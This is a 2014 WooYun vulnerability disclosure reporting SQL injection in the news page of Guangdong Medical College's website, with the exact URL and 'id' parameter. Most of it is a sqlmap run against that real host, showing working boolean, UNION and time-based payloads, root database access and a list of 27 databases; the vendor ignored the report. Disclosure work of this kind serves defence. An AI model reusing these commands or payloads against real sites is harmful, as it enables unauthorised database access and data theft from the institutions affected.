当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063237

漏洞标题:广东医学院某地方存在SQL注入

相关厂商:广东医学院

漏洞作者: 泳少

提交时间:2014-06-05 18:05

修复时间:2014-06-10 18:06

公开时间:2014-06-10 18:06

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-05: 细节已通知厂商并且等待厂商处理中
2014-06-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

广东医学院某地方存在SQL注入。。。RT。。

详细说明:

http://www.gdmc.edu.cn/news/view.php?id=12490


注入点。然后跑sqlmap

漏洞证明:

得出

D:\sqlmap>sqlmap.py -u "http://www.gdmc.edu.cn/news/view.php?id=12490" --dbs --c
urrent-user --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:15:56
[16:15:56] [INFO] testing connection to the target url
[16:15:57] [INFO] testing if the url is stable, wait a few seconds
[16:15:59] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[16:16:04] [INFO] testing if GET parameter 'id' is dynamic
[16:16:09] [INFO] confirming that GET parameter 'id' is dynamic
[16:16:12] [INFO] GET parameter 'id' is dynamic
[16:16:13] [WARNING] heuristic test shows that GET parameter 'id' might not be i
njectable
[16:16:13] [INFO] testing for SQL injection on GET parameter 'id'
[16:16:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:16:15] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[16:16:15] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[16:16:15] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:16:15] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[16:16:15] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[16:16:16] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:16:16] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[16:16:16] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[16:16:16] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:16:38] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' in
jectable
[16:16:38] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[16:16:38] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[16:16:41] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[16:16:50] [INFO] target url appears to have 23 columns in query
[16:17:19] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 colu
mns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N]
sqlmap identified the following injection points with a total of 48 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=12490 AND 1087=1087
Type: UNION query
Title: MySQL UNION query (NULL) - 23 columns
Payload: id=-6800 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a686a783a,0
x6f7a527851437078414b,0x3a6b69723a),NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=12490 AND SLEEP(5)
---
[16:17:21] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: PHP 5.2.6, ASP.NET, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0.11
[16:17:21] [INFO] fetching current user
current user: 'root@localhost'
[16:17:22] [INFO] fetching current database
current database: 'gdmcnews'
[16:17:24] [INFO] fetching database names
[16:17:26] [INFO] the SQL query used returns 27 entries
[16:17:28] [INFO] retrieved: "information_schema"
[16:17:28] [INFO] retrieved: "123"
[16:17:28] [INFO] retrieved: "data"
[16:17:29] [INFO] retrieved: "database"
[16:17:29] [INFO] retrieved: "dept"
[16:17:30] [INFO] retrieved: "doc"
[16:17:30] [INFO] retrieved: "fxcenter"
[16:17:31] [INFO] retrieved: "gdmcnews"
[16:17:31] [INFO] retrieved: "gdschooldb"
[16:17:32] [INFO] retrieved: "jyjs2005"
[16:17:32] [INFO] retrieved: "kexueshijian"
[16:17:32] [INFO] retrieved: "liuyanben"
[16:17:33] [INFO] retrieved: "mysql"
[16:17:33] [INFO] retrieved: "news"
[16:17:33] [INFO] retrieved: "office"
[16:17:34] [INFO] retrieved: "performance_schema"
[16:17:34] [INFO] retrieved: "photoassociation"
[16:17:34] [INFO] retrieved: "president"
[16:17:34] [INFO] retrieved: "shc"
[16:17:35] [INFO] retrieved: "test"
[16:17:35] [INFO] retrieved: "xcb"
[16:17:35] [INFO] retrieved: "xfjs"
[16:17:35] [INFO] retrieved: "xq50"
[16:17:36] [INFO] retrieved: "xuebao"
[16:17:36] [INFO] retrieved: "xxgk"
[16:17:36] [INFO] retrieved: "ypzx"
[16:17:37] [INFO] retrieved: "zhaosheng"
available databases [27]:
[*] 123
[*] data
[*] database
[*] dept
[*] doc
[*] fxcenter
[*] gdmcnews
[*] gdschooldb
[*] information_schema
[*] jyjs2005
[*] kexueshijian
[*] liuyanben
[*] mysql
[*] news
[*] office
[*] performance_schema
[*] photoassociation
[*] president
[*] shc
[*] test
[*] xcb
[*] xfjs
[*] xq50
[*] xuebao
[*] xxgk
[*] ypzx
[*] zhaosheng
[16:17:37] [INFO] fetched data logged to text files under 'D:\sqlmap\output\www.
gdmc.edu.cn'
[*] shutting down at 16:17:37

修复方案:

赶紧修复吧!

版权声明:转载请注明来源 泳少@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-06-10 18:06

厂商回复:

最新状态:

暂无